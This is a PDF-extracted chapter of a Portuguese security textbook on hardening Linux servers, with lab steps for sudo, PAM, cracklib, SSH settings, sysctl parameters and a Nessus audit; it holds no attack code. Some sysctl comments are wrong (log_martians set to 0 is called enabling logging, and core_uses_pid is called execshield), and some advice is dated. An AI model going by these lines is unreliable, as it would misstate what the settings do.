SSH Secure Shell é um serviço criptografado que surgiu para substituir serviços inseguros como scp, rsh, rcopy e telnet.

Figura 10.2 Execução do comando tasksel.

Os pacotes podem ser desinstalados através de dois comandos:

apt-get remove dpkg –R Para remover um pacote, necessitamos primeiro saber o seu nome. Para tanto, podemos usar algumas ferramentas para procurar o pacote desejado. Como exemplo, imagine que queremos remover o pacote referente ao SSH:

dpkg –l *ssh*

Figura 10.3 Lista de pacotes instalados no sistema.

No exemplo acima, os pacotes marcados com ii estão instalados no sistema. Dessa forma, podemos remover os pacotes desejados:

dpkg –R openssh-client

Capítulo 10 - Configuração segura de servidores Linux

Esse comando listará todos os pacotes instalados que se referem ao SSH:

dpkg –R openssh-server 235

Configuração segura de serviços Princípios básicos:

q

11 Usuários sem privilégios. 11 Chroot. 11 Desabilitar funcionalidades desnecessárias. Acessos administrativos: 11 Acessos criptografados. 11 Controle de acesso por estação. 11 Autenticação mais forte. 11 Conta de usuário comum (sudo). Configurar um serviço de forma segura também é complicado e depende do serviço que se está implantando, porém existem alguns princípios básicos que devem ser observados em qualquer serviço Unix, como veremos a seguir.

Usuários sem privilégios Muitos serviços possuem no próprio arquivo de configuração a opção de escolher um usuário para executar o serviço, de modo a ter o direito desse usuário. A ideia é escolher um usuário que tenha um mínimo de direitos sobre o sistema, seguindo o princípio do menor privilégio. Caso o serviço não tenha essa opção, ainda assim é possível criar um usuário e executar o serviço com os direitos do usuário, com o comando su. Por exemplo, para executar o serviço serverd, poderíamos utilizar o comando: su serverd_user –c /caminho/serverd. Alguns serviços necessitam de privilégios especiais e não são capazes de executar como usuários comuns do sistema. Deve-se tomar um cuidado extra com esses serviços, como registrar todos os acessos e eventos do serviço em um servidor de logs seguro, de acordo com o que foi visto no capítulo 4.

Chroot Esse é um recurso presente em sistemas Unix, onde um determinado processo do sistema enxerga apenas uma sub-árvore do sistema operacional. Dessa forma, o processo não será capaz de ler, gravar ou executar arquivos fora desta sub-árvore. Assim como o usuário sem privilégios, o chroot é utilizado por diversos serviços modernos. Normalmente a própria distribuição possui pacotes que instalam o serviço com o recurso. Configurar um serviço para rodar com esse recurso pode ser uma tarefa complicada, pois deverão ser previstos todos os recursos que o serviço necessita utilizar, de modo que eles devem estar em um diretório acessível, dentro da árvore ao qual o processo foi “enjaulado”. No caso do Debian, podemos procurar se existe versão chroot para o serviço que vamos instalar, como no exemplo abaixo

Segurança de Redes e Sistemas

para um servidor web (Apache):

LinServer:~# apt-cache search apache | grep chroot libapache2-mod-chroot - run Apache in a secure chroot environment mod-chroot-common - run Apache in a secure chroot environment

Desabilitar funcionalidades desnecessárias Muitos serviços possuem recursos adicionais, como plugins, que podem não ser necessários para o funcionamento do servidor a ser configurado. Dessa forma, o administrador deve analisar cuidadosamente os arquivos de configuração do serviço, de modo a desabilitar qualquer

236

recurso que seja indesejado. Essa tarefa também não é simples e depende da experiência do administrador em um determinado serviço. Quanto menos recursos o serviço oferecer, mais seguro ele será. Um exemplo de funcionalidade desnecessária seria um servidor www Apache instalado com suporte a PHP. Caso não existam scripts em PHP sendo utilizados, eles podem perfeitamente ser desabilitados.

Exercício de fixação 2 e Configuração segura de serviços Quais os princípios básicos da configuração segura de serviços?

Acessos administrativos É comum em servidores existir um acesso administrativo para que o administrador não necessite se deslocar fisicamente até o equipamento para obter acesso. Normalmente se utiliza uma emulação de terminal remoto, como o Secure Shell (SSH), ou um console web, como o webmin. Apesar de ser um recurso prático, deve ser usado com muita cautela, pois pode permitir a um atacante obter acesso privilegiado ao servidor. Alguns cuidados básicos devem ser tomados ao tratar de acessos administrativos: 11 Utilizar sempre acessos criptografados para garantir que os dados não serão interceptados em trânsito na rede. Protocolos como Telnet, RSH, RCP e Xwindows devem ser substituídos por versões seguras, como SSH. Acessos remotos devem ser realizados através de recurso VPN com criptografia. Consoles de administração web devem sempre utilizar o HTTP seguro (HTTPS). 11 O administrador deve possuir um conjunto de estações definido para acessar o servidor e só deve aceitar conexões dessas estações. Essa configuração pode ser realizada através de permissões de acesso no próprio servidor ou através de filtros de pacotes. Caso haja a necessidade de acesso de muitos locais distintos, pode-se configurar um servidor com apenas o serviço de acesso administrativo e utilizar esse servidor para acessar os demais. 11 Em caso de servidores públicos (DMZ), nenhum acesso administrativo deve ser permitido diretamente a partir da internet. Administradores fora da organização devem utilizar 11 Caso seja viável, pois envolve custo financeiro, deve-se utilizar uma autenticação mais Tokens Dispositivos de segurança que armazenam chaves de criptografia e certificados digitais. Algo que o usuário possua para comprovar sua identidade.

forte, como tokens e certificados digitais para acessos administrativos nos servidores e em conexões VPN. 11 Utilizar sempre uma conta de usuário comum para acesso, utilizando posteriormente o comando su ou sudo para obter acesso de administrador. Dessa forma, ficará no sistema o registro do administrador que realizou determinado acesso. Caso seja possível, devem-se criar contas de administração restritas para administradores que realizam tarefas específicas. O comando sudo permite que seja dado acesso de administrador apenas a alguns comandos, de modo que o usuário pode executar sudo , para executar um comando autorizado como administrador. O arquivo /etc/sudoers contém a configuração do serviço sudo. Caso o sudo não esteja instalado, o comando apt-get install sudo é suficiente para instalar. Mais informações sobre o sudo podem ser obtidas com o comando man sudo. O exemplo abaixo mostra uma configuração de sudo, de modo a permitir que o usuário peixinho.icp possa acessar qualquer comando como administrador.

Capítulo 10 - Configuração segura de servidores Linux

canais seguros, como VPN, para administrar os servidores sob a sua responsabilidade.

237

Figura 10.4 Configuração de sudo.

Atenção para o parâmetro PASSWD, pois caso seja NOPASSWD, o usuário poderá executar tarefas como administrador sem a necessidade de entrar com a senha do seu usuário. 11 Evite que um usuário possa realizar o primeiro login no sistema como root. Tal configuração obriga o usuário a autenticar com um usuário comum e, depois, utilizar o sudo para se tornar administrador do sistema. Para ativar esse recurso, basta apagar o conteúdo do arquivo /etc/securetty. Observe que alguns sistemas não utilizam o PAM para autenticação (ex.: OpenSSH), assim será necessário verificar se essa opção está disponível na aplicação. 11 Não permita que qualquer usuário possa se tornar root utilizando o sudo. O sistema de autenticação do Linux (PAM) permite que você crie um grupo especial e que somente membros desse grupo possam se tornar root. Essa configuração vai impedir que um usuário comum, mesmo sabendo a senha do root, possa se promover como root do sistema. Para evitar esse comportamento, você deverá criar um grupo chamado wheel (# groupadd wheel) e modificar o arquivo /etc/pam.d/su (inserindo no final do arquivo a linha “auth required pam_wheel.so group=wheel”), de forma a permitir que apenas os membros desse grupo possam se tornar root do sistema. Não se esqueça de colocar um usuário como membro do grupo wheel (# usermod –G wheel usuario) antes de realizar o logoff.

Segurança de Redes e Sistemas

11 Proteja o sistema de inicialização do Linux (GRUB) com senha. Sem essa proteção, um ata-

238

cante que tenha acesso físico à máquina poderá reiniciar o sistema como root utilizando um modo conhecido como Single User Mode. Para desativar essa opção, edite o arquivo /boot/grub/menu.lst e insira no final a linha “password mudeme”. 11 Um problema simples no Linux é que, se um atacante tiver acesso ao console e apertar as teclas CTRL + ALT + DEL (utilizadas para autenticar em máquinas Windows), reiniciará, automaticamente, o servidor. Para evitar esse comportamento, comente a linha “# ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now” no arquivo /etc/inittab.

Ferramentas de segurança de servidores Existe uma série de ferramentas que podem aumentar a segurança de um servidor. As mais comuns são os HIDS, que foram tratados no capítulo 5. Existem ainda ferramentas que realizam uma série de mudanças no sistema, com o intuito de torná-lo mais seguro. Dentre estas, podemos destacar as ferramentas Bastille Linux e Security Enhanced Linux, disponíveis na internet e gratuitas. Essas ferramentas não serão tratadas neste curso, por serem ferramentas avançadas. Porém, se o aluno tiver interesse, existem diversos guias na internet sobre como instalar essas ferramentas.

Testes de configuração e auditoria Testar se uma configuração de um servidor está suficientemente segura é uma fase importante do processo, pois permite verificar se a configuração realizada realmente aumentou a segurança do servidor. Ferramentas de auditoria como Nmap e Nessus podem ser usadas no servidor para verificar o nível de segurança atingido. Essas auditorias devem ainda ser realizadas periodicamente, para verificar a aplicação de atualizações de segurança fornecidas pelo fabricante (patches) e se alguma configuração específica não causou nenhum impacto na segurança do servidor. Mais informações sobre auditoria podem ser encontradas no capítulo 8.

Exercício de fixação 3 e Acessos administrativos Quais são os cuidados básicos ao tratar de acessos administrativos?

Atualização do sistema operacional Pacotes compilados:

q

11 Instalação separada. 11 Facilitar a remoção. 11 Manter atualizado manualmente.

cante. No caso do Linux, cada distribuição possui uma forma diferente de instalar essas atualizações. No Debian, podemos manter nosso sistema atualizado com apenas dois comandos:

apt-get update apt-get upgrade

Capítulo 10 - Configuração segura de servidores Linux

É fundamental em qualquer sistema operacional a instalação das correções fornecidas pelo fabri-

239

Figura 10.5 Exemplo de uso do comando apt-get upgrade.

Veja que, em alguns casos, a quantidade de atualizações é grande. No exemplo acima, serão baixados 61 MB de atualizações. Caso sua distribuição não seja Debian, verifique na documentação disponível como fazer para atualizar os pacotes. O Debian permite ainda atualizar a versão instalada, caso uma nova versão seja lançada. Para tal, normalmente usamos o comando apt-get dist-upgrade, porém existem alguns passos que devem ser executados.

w

Pacotes compilados Em alguns casos, a versão que desejamos de um determinado software não está disponível na distribuição que usamos ou o software em si não foi empacotado pelo distribuidor. Nesses casos, é muito comum o administrador baixar o código-fonte do software e compilá-lo no próprio servidor. Alguns usuários mais avançados baixam inclusive o núcleo do sistema

A página “Chapter 4. Upgrades from previous releases” detalha o processo de atualização de versão no Debian.

(kernel), para compilar e instalar um kernel customizado. Deve-se tomar cuidado com a instalação de software compilado, pois eles podem se confundir com os pacotes instalados no sistema, tornando difícil a desinstalação depois. Deve-se sempre instalar software compilado em diretórios distintos, como o /usr/local ou /opt. Deve-se ainda fazer um controle dos arquivos instalados pelo software, para facilitar a desinstalação. As ferramentas de compilação (gcc, g++, etc.) podem ser usadas por um atacante para compilar seu próprio software malicioso, então devem ser removidas após o uso. Por fim, a instalação de um kernel customizado é uma tarefa complexa, mas que possui a vantagem de gerar um kernel mais leve e com menos recursos (princípio do menor privilégio), de modo que uma vulnerabilidade encontrada em um recurso do kernel, que não esteja sendo utilizado pelo seu servidor, pode não afetar um kernel customizado sem esse recurso. O problema é que, a cada atualização do kernel, o administrador terá de recompilá-lo, o que leva tempo e pode sobrecarregar a administração no caso de um ambiente com diversos servidores.

w

Sistema de arquivos proc Muitos parâmetros de kernel podem ser alterados através do sistema de arquivos /proc ou usando sysctl. Tais alterações podem aumentar o desempenho e segurança geral do sistema. Abaixo são listados alguns parâmetros interessantes (no formato para o arquivo Segurança de Redes e Sistemas

/etc/sysctl.conf ), que deverão ser avaliados caso a caso antes de serem implementados

240

em ambiente de produção: net.ipv4.ip_forward = 0

O encaminhamento IP entre placas só é necessário em servidores Linux que atuarão como roteador entre diferentes redes.

net.ipv4.icmp_echo_ignore_all=1

Evita que a máquina responda a qualquer tipo de ICMP.

net.ipv4.icmp_echo_ignore_broadcasts=1

Previne o ataque de smurf.

Para saber mais sobre compilação de kernel, a página “The Linux Kernel HOWTO” tem informações úteis.

Não aceite pacotes de fonte roteada. Atacantes podem usar fontes roteadas para gerar tráfego, fingindo vir de dentro de sua rede.

net.ipv4.conf.all.accept_redirects=0

Redirecionamento de ICMP pode ser usado para alterar tabelas de roteamento na máquina alvo.

net.ipv4.icmp_ignore_bogus_error_responses=1

Proteção contra mensagens de erro ICMP falsas.

Pesquise na internet sobre esse assunto, pois existem inúmeros parâmetros que, se alterados, podem aumentar o desempenho de uma aplicação. Uma última dica: procure por “tunning tcp/ip” na web e boa sorte!

Capítulo 10 - Configuração segura de servidores Linux

Figura 10.6 Parâmetros para o arquivo /etc/sysctl.conf.

net.ipv4.conf.all.accept_source_route=0

241

242

Segurança de Redes e Sistemas

Roteiro de Atividades 10 Atividade 1 – Configuração segura de servidor Utilizando as técnicas estudadas, vamos modificar algumas configurações do servidor Linux de modo a torná-lo mais seguro. Passo 1

Acesse o servidor LinServer-G e configure uma senha para evitar que um usuário reinicie e o servidor e consiga inicializá-lo em modo single, ou seja, como root sem precisar inserir a senha de root. Essa configuração deve ser encarada como obrigatória sempre que o servidor estiver localizado em uma sala insegura. Executar o grub [LinServer-G:~]# grub e cifrar a senha utilizando o algoritmo md5. Observe os passos abaixo:

[LinServer-G:~]#/sbin/grub GRUB version 0.92 (640K lower / 3072K upper memory) Minimal BASH-like line editing is supported. For the first word, TAB lists possible command completions. Anywhere else TAB lists the possible completions of a device/filename. grub> md5crypt Password: ********(Comentário: foi digitado rnpesr no prompt) Encrypted: $1$T7/dgdIJ$dJM.n2wZ8RG.oEiIOwJUs. grub> quit Agora, insira a linha abaixo no final do arquivo /boot/grub/menu.lst não esquecendo de colar a senha gerada no passo anterior:

password --md5 $1$T7/dgdIJ$dJM.n2wZ8RG.oEiIOwJUs. Verifique todos os serviços que estão sendo inicializados junto com o servidor. Pesquise na internet o papel de todos os serviços. Atenção aos que você não conheça. Verifique se é vital para o funcionamento do sistema. Para essa verificação pode ser utilizado o comando:

# apt-get install rcconf # rcconf Isso removerá da inicialização conjunta com o sistema operacional quando este for iniciado. Para verificar os serviços que estão ativos, podemos utilizar os comandos:

# netstat –nap Para mais detalhes sobre uma determinada porta que esteja aguardando por conexão na rede, podemos utilizar o comando:

# lsof –i PROTOCOLO:PORTA -n Ex.:

LinServer-G:~# lsof -i tcp:22 -n COMMAND

PID USER

FD

TYPE DEVICE SIZE NODE NAME

sshd

1786 root

3u

IPv6

4829

TCP *:ssh (LISTEN)

sshd

1786 root

4u

IPv4

4831

TCP *:ssh (LISTEN)

sshd

2440 root

3r

IPv4

6338

TCP

172.16.1.10:ssh->172.16.1.1:39157 (ESTABLISHED)

Capítulo 10 - Roteiro de Atividades

Passo 2

LinServer-G:~# 243

Passo 3

Para pacotes que você pesquisou e sabe que não serão necessários ao seu sistema, a recomendação é remover. Para remover os pacotes desnecessários sem remover as configurações personalizadas, vamos utilizar o comando:

# apt-get remove nome_do_pacote Para remover todos os históricos de um pacote, vamos utilizar o comando:

# apt-get purge nome_do_pacote Para listar todos os pacotes instalados no sistema, podemos utilizar o comando:

# dpkg –l É recomendado o uso da ajuda do comando dpkg para verificar os possíveis parâmetros:

# dpkg –help Passo 4

Para modificar o acesso administrativo no servidor, vamos utilizar a ferramenta sudo para nos auxiliar. Instale o pacote sudo com o comando:

# apt-get install sudo Edite o arquivo de configuração do sudo (/etc/sudoers) e adicione a linha:

aluno

ALL=(ALL) ALL

Essa linha vai permitir ao usuário aluno todos os níveis de acessos do usuário root. Passo 5

Verifique o funcionamento do sudo. Conecte remotamente com o protocolo SSH e como usuário aluno, mude para modo privilegiado com sudo:

$ sudo su – Exemplo: aluno@LinServer-A:~$ sudo su -

We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:

#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.

[sudo] password for aluno:

Segurança de Redes e Sistemas

LinServer-A:~#

244

Passo 6

Por padrão, através do comando su o Linux permite que qualquer usuário possa se tornar o root do sistema. Para evitar esse comportamento o Linux implementa um grupo especial chamado wheel e podemos configurar o arquivo /etc/pam.d/su de forma a permitir que apenas os membros desse grupo possam se tornar root do sistema. Crie um usuário chamado “suporteloc”:

[root@localhost ~]# adduser suporteloc Crie um grupo chamado “wheel”:

[root@localhost ~]# addgroup wheel Faça com que o usuário “suporteloc” seja membro do grupo “wheel”:

[root@localhost ~]# usermod –G wheel suporteloc Edite o arquivo /etc/pam.d/su e descomente a linha abaixo.

auth required pam_wheel.so Passo 7

Para testar o funcionamento do grupo wheel, autentique-se na máquina LinServer-G com o usuário aluno e tente executar o comando $ su -. Observe que não vai funcionar. Agora, realize o login utilizando o mesmo usuário e tente, novamente, executar o comando $ su -

Passo 8

Agora vamos restringir a quantidade de usuários que podem autenticar no console da máquina. Para tal, vamos configurar o módulo pam_access nos principais sistemas de autenticação: SSH, Console Login, Graphical Gnome Login (se estiver instalada) e, opcionalmente, para todos os outros sistemas. Para o SSH adicione o pam_access no arquivo /etc/pam.d/sshd após a linha pam_nologin.so:

account required pam_access.so Para o console adicione o pam_access no arquivo /etc/pam.d/login após a linha pam_nologin.so:

account required pam_access.so Adicionar ao final do arquivo /etc/security/access.conf que é lido pelo módulo pam_access as seguintes linhas Cuidado: se essa configuração for realizada de forma errada, ninguém poderá mais autenticar na máquina.

+ : wheel : LOCAL 172.16. - : ALL : ALL A primeira linha permite aos usuários do grupo wheel autenticar na máquina local cuja a origem seja a rede 172.16.0.0/16, enquanto a segunda linha bloqueia o acesso para qualquer outro usuário. Para verificar o funcionamento do pam_access, monitore o arquivo /var/log/ auth.log e tente realizar a autenticação via SSH a partir da estação de trabalho física Windows XP. Observe que mesmo que acerte a senha você não conseguirá acesso ao servidor e que, no arquivo auth.log, será gerada a linha

pam_access(sshd:account): access denied for user `suporteloc` from `10.1.1.10` Tente autenticar via SSH a partir do servidor FWGW1-G. Observe que funcionará normalmente.

Capítulo 10 - Roteiro de Atividades

Passo 9

245

Passo 10

Agora vamos obrigar os usuários locais a utilizar senhas fortes. Para isso vamos instalar e configurar a biblioteca craklib. Para instalar, execute:

# apt-get install libpam-cracklib Edite o arquivo /etc/pam.d/common-password, remova o comentário e modifique a linha pam_cracklib conforme abaixo:

password required pam_cracklib.so retry=3 minlen=14 difok=3 lcredit=-1 ucredit=-1 dcredit=-1 ocredit=-1 password sufficient pam_unix.so md5 shadow nullok try_ first_pass use_authtok remember=12 Isso adicionará o cracklib, que vai obrigar todas as novas senhas de usuário a ter: Parâmetro

Descrição sucinta

minlen=14

Quantidade mínima de caracteres

lcredit=-1

Quantidade mínima de letras minúsculas (“-1” significa: no mínimo, uma letra minúscula)

ucredit=-1

Quantidade mínima de letras maiúsculas (“-1” significa:no mínimo, uma letra maiúscula)

dcredit=-1

Quantidade mínima de caracteres numéricos (“-1” significa: no mínimo, um caractere numérico)

ocredit=-1

Quantidade mínima de caracteres especiais (“-1” significa: no mínimo, um caractere especial)

remember=12

Número de senhas que serão lembradas de forma a não permitir a repetição de senhas antigas

Você deve criar o arquivo /etc/security/opasswd caso ele não exista.

[root@localhost ~]# touch /etc/security/opasswd [root@localhost ~]# chown root:root /etc/security/opasswd [root@localhost ~]# chmod 600 /etc/security/opasswd O usuário root não obedece as restrições impostas pela cracklib.

Segurança de Redes e Sistemas

Passo 11

246

Para testar essa configuração, autentique utilizando o usuário suporteloc e tente modificar sua senha para algo bem simples. Agora tente alterar para um senha que atenda a política acima configurada.

Passo 12

Vamos ativar um mecanismo interessante para fortalecer a política de senhas locais implementando o processo de expiração para senhas antigas. Em geral, não é recomendado que o sistema imponha a expiração da senha para contas de serviço. Isso pode levar a interrupções de um serviço se a conta de um aplicativo expirar. Uma política corporativa deve reger as alterações de senha para contas de usuários individuais do sistema e deve expirar as senhas automaticamente. Os seguintes arquivos e parâmetros da tabela devem ser usados quando uma nova conta é criada com o comando useradd. Essas configurações são registradas para cada conta de usuário no arquivo /etc/shadow. Portanto, certifique-se de configurar os seguintes parâmetros antes de criar qualquer usuário contas utilizando o comando useradd: Arquivo

Parâmetro

Descrição sucinta

/etc/login.defs

PASS_MAX_DAYS 90

Número máximo de dias em que uma senha é válida.

/etc/login.defs

PASS_MIN_DAYS 7

Número mínimo de dias antes que um usuário possa alterar a senha desde a última alteração.

/etc/login.defs

PASS_WARN_AGE 7

Número de dias quando o lembrete de senha começa a mudar.

/etc/default/useradd

INACTIVE 14

Número de dias após a expiração da senha, até que a conta seja definitivamente desativada.

Certifique-se de que os parâmetros acima foram alterados nos arquivos /etc/login.defs e /etc/default/useradd. As configurações acima passam a ser utilizadas apenas por usuários criados a partir desse momento. Usuários antigos não vão receber esses atributos. Observe que, quando uma conta de usuário é criada usando o comando useradd, os parâmetros listados na tabela acima são inseridos no arquivo /etc/shadow, no seguinte formato:

: : : PASS_MIN_DAYS: PASS_ MAX_DAYS: PASS_WARN_AGE: INACTIVE: EXPIRE: Você pode alterar a data de envelhecimento a qualquer momento. Para desabilitar a data do envelhecimento para contas de sistema e contas compartilhadas, você pode executar o comando chage:

[root@localhost /]# chage -M 99999 Para adicionar uma data de expiração da conta, execute:

[root@localhost ~]#useradd -e mm/dd/yy Para obter informações sobre a expiração da senha: Na instalação padrão, as contas de serviço já possuem data de expiração igual a 99999. Passo 13

A opção de logoff automático evita o uso indevido da sessão de um administrador quando este, inadvertidamente, não faz o logoff manual. A variável TMOUT controla, em segundos, o tempo máximo aceito pelo sistema sem que o usuário execute um comando ou aperte uma tecla. Decorrido esse tempo, a máquina vai, automaticamente, efetuar o logoff do usuário. Edite o arquivo /etc/profile e adicione a seguinte linha:

TMOUT=900 O valor da variável “TMOUT=” é em segundos, ou seja, 15 minutos

Capítulo 10 - Roteiro de Atividades

[root@localhost ~]# chage -l

(15*60 = 900 segundo). 247

Passo 14

As configurações abaixo são recomendadas para o serviço de terminal SSH. Para alterá-las, vamos editar o arquivo de configuração do servidor Open SSH /etc/ssh/sshd_config. Observe os comentários para decidir que parâmetros você vai utilizar. Em nosso treinamento, configure todos os parâmetros abaixo:

#Não permitir o login do usuario root PermitRootLogin no #Prevenir que o SSH seja configurado para realizar forwarding do serviço do X11 AllowTcpForwarding no X11Forwarding no # Configurar o Banner padrão Banner /etc/issue Reinicie o servidor SSH para aplicar as novas configurações:

# /etc/init.d/ssh restart Verifique o funcionamento e tente acessar remotamente utilizando o usuário “root”. A partir desse momento, você está convidado a utilizar sempre o usuário aluno e/ou suporteloc com permissões básicas. Quando necessitar realizar alguma atividade administrativa, utilize sudo ou su para obter os privilégios necessários. Dessa forma, teremos registros do usuário que realizou determinada atividade com privilégios administrativos. Passo 15

Desabilite a permissão para que o usuário root acesse o sistema pelo console físico. Para isso, edite o arquivo de configuração /etc/securetty. Vamos apagar todo o conteúdo desse arquivo de configuração:

# cp /etc/securetty /etc/securetty.old # echo “ “ > /etc/securetty Para testar a configuração, acesse o console via Virtual Box e acesse o servidor com o usuário root. Se não for possível, acesse com o usuário aluno. Passo 16

Para evitar que o servidor Linux seja reiniciado quando o seu teclado for confundido com o de um servidor Windows, desabilite a combinação Ctrl+Alt+Del editando o arquivo de configuração /etc/inittab e comente ou apague a seguinte linha:

ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now Ficando assim:

# ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now Passo 17

O comando umask serve como uma máscara para ajustar a permissão de arquivos e diretórios, assim, um umask mal configurado vai atribuir para novos arquivos criados pelo root permissão de acesso para qualquer usuário. Recomenda-se alterar o umask de todos os usuários para 177, ajustando o arquivo /etc/profile.

Segurança de Redes e Sistemas

Caso existam problemas na instalação de novos binários no servidor, modifique o umask para a opção padrão utilizando o comando umask 022.

248

Personalizar o kernel do Linux com o intuito de torná-lo mais eficaz não é uma tarefa simples, pois depende muito do cenário e das aplicações que serão utilizadas. De forma geral, os parâmetros abaixo podem ser inseridos no final do arquivo /etc/sysctl.conf em diversos cenários sem comprometer o funcionamento do servidor.

#TCP SYN Cookie Protection net.ipv4.tcp_max_syn_backlog=1280 net.ipv4.tcp_syncookies = 1 #Disable IP Source Routing net.ipv4.conf.all.accept_source_route = 0 #Disable ICMP Redirect Acceptance net.ipv4.conf.all.accept_redirects = 0 net.ipv4.conf.all.send_redirects=0 # Habilita proteção contra IP spoofing net.ipv4.conf.all.rp_filter = 1 #Ignoring Broadcasts Request net.ipv4.icmp_echo_ignore_broadcasts=1 #Bad Error Message Protection net.ipv4.icmp_ignore_bogus_error_responses = 1 #Desativa o forward de pacotes. Não deve ser configurado em servidores que assumam serviço de gateway/roteador net.ipv4.ip_forward = 0 # Habilita log de pacotes spoof. Obs. Esse recurso gera muitas entradas no log e deve ser avaliado com cuidado. net.ipv4.conf.all.log_martians = 0 # Desativar o proxy_arp net.ipv4.conf.all.proxy_arp=0 # Habilita o execshield kernel.core_uses_pid = 1 Reinicie o sistema para que as configurações sejam aplicadas.

Capítulo 10 - Roteiro de Atividades

Passo 18

249

Atividade 2 – Auditoria Execute uma auditoria no servidor Linux com o Nessus e compare o resultado com a auditoria que foi feita no capítulo 8. Houve um aumento do nível de segurança? Analise o resultado da auditoria e tente realizar mais modificações na configuração do servidor para torná-lo ainda mais seguro. Passo 1

Inicie o servidor Nessus no host FWGW1 com o seguinte comando:

# /etc/init.d/nessusd start Passo 2

Acesse o console de gerência do Nessus a partir de um navegador web da máquina Windows XP física: https://172.16.G.1:8834. Certifique-se de que existe regra de exceção no firewall para permitir essa conexão.

Passo 3

No console do Nessus, crie um novo Scan com os parâmetros:

Nome: RedeDMZ Type: Run Now Policy: Padrao Scan Targets: 172.16.G.0/24 Clique no botão Launch Scan. Passo 4

Analise o novo relatório gerado pelo Nessus no menu Reports. Foi possível encontrar os hosts da rede DMZ? Que serviços foram encontrados? Compare esse último relatório gerado com o relatório do capítulo 8. Quais as principais diferenças?

Atividade 3 – Ferramentas e mecanismos para monitoramento Em uma rede segura devem ser implementados, sempre, os seguintes serviços: Inventário de Ativos, Servidor de Log Centralizado, servidor NTP para sincronizar os relógios, Serviço de Host IDS integrado e serviço de monitoramento. Durante este treinamento você teve contato com algumas ferramentas que implementam os serviços acima citados. Pesquise na internet sobre ferramentas que poderiam atender a essa necessidade, não se esquecendo de contribuir com os demais colegas de turma e o instrutor sobre suas descobertas.

Atividade 4 – Ferramentas de segurança Pesquise na internet informações sobre o SELINUX e o Bastille Linux. Quais as melhorias de

Segurança de Redes e Sistemas

segurança que essas ferramentas trazem?

250

Para pensar Pesquise sobre a instalação do SELINUX e tente implantá-lo no seu servidor Linux. Realize nova auditoria e compare os resultados.

Bibliografia 11 BATTISTI, Júlio; SANTANA, Fabiano. Windows Server 2008: Guia de estudos completo, implementação, administração e certificação. Editora Novaterra, 2009. 11 BRANDÃO, Robson. Introdução ao Group Policy (GPO). Microsoft TechNet. http://technet.microsoft.com/pt-br/library/cc668545.aspx 11 HERZOG, Pete. OSSTMM 2.1, Open-Source Security Testing Methodology Manual: http://isecom.securenetltd.com/osstmm.en.2.1.pdf 11 ISECOM. Hacking Exposed Linux. 3ª edição. McGraw-Hill Osborne Media; 2008. 11 MIGEON, Jean-Yves. The MIT Kerberos Administrator’s How-to Guide, Protocol, Installation and Single Sign On. The MIT Kerberos Consortium, 2008. http://www.kerberos.org/software/adminkerberos.pdf 11 OREBAUGH, Angela. Snort Cookbook. Estados Unidos: Editora O’Reilly Media, 2005. 11 WALLA, Mark. Kerberos Explained. Microsoft TechNet. http://technet.microsoft.com/en-us/library/bb742516.aspx 11 WESSELS, Duane. Squid: The Definitive Guide. Estados Unidos: Editora O’Reilly Media, 2004. 11 WEST-BROWN, Moira J. Handbook for Computer Security Incident Response Teams (CSIRT). Pittsburgh: Carnegie Mellon Software Engineering Institute, 2003. www.cert.org/archive/pdf/csirt-handbook.pdf 11 SCAMBRAY, Joey. Hacking Exposed Windows: Microsoft Windows Security Secrets and Solutions. McGraw-Hill Osborne Media, 2007. 11 SIMMONS, Gustavus, J. Symmetric and Asymmetric Encryption. http://www.princeton.edu/~rblee/ELE572Papers/CSurveys_SymmAsymEncrypt-simmons.pdf 11 STEVENS W., Richard. TCP Illustrated. Volume 1. Addison-Wesley, 1994. 11 ZWICKY, Elizabeth D. et al. Building Internet Firewalls. Estados Unidos: Editora O’Reilly Media, 2006.

11 Norma ABNT NBR ISO/IEC 27002:2005 11 Norma ABNT NBR ISO/IEC 27005:2008 11 Norma ABNT NBR ISO/IEC 27011:2009 11 IN 01 e Normas Complementares DSIC/GSI

Bibliografia

11 Norma ABNT NBR ISO/IEC 27001:2006

251

LIVRO DE APOIO AO CURSO

pleta de proteção de redes, utilizando técnicas como firewall, IDS, IPS e VPN. O amplo escopo de conceitos abordados permitirá a aplicação das técnicas de autenticação e autorização seguras, auditorias de segurança e de requisitos de configuração segura de servidores Linux e Windows. Após o curso, o aluno será capaz de montar um perímetro seguro, aumentar a segurança dos servidores da rede, realizar auditorias de segurança e implantar sistemas de autenticação seguros. Este livro inclui os roteiros das atividades práticas e o conteúdo dos slides apresentados em sala de aula, apoiando profissionais na disseminação deste conhecimento em suas organizações ou localidades de origem.

ISBN 978-85-63630-13-1

9 788563 630131

Segurança de Redes e Sistemas

O aluno aprenderá a implementar uma solução com-

Segurança

de Redes e Sistemas Ivo de Carvalho Peixinho Francisco Marmo da Fonseca Francisco Marcelo Lima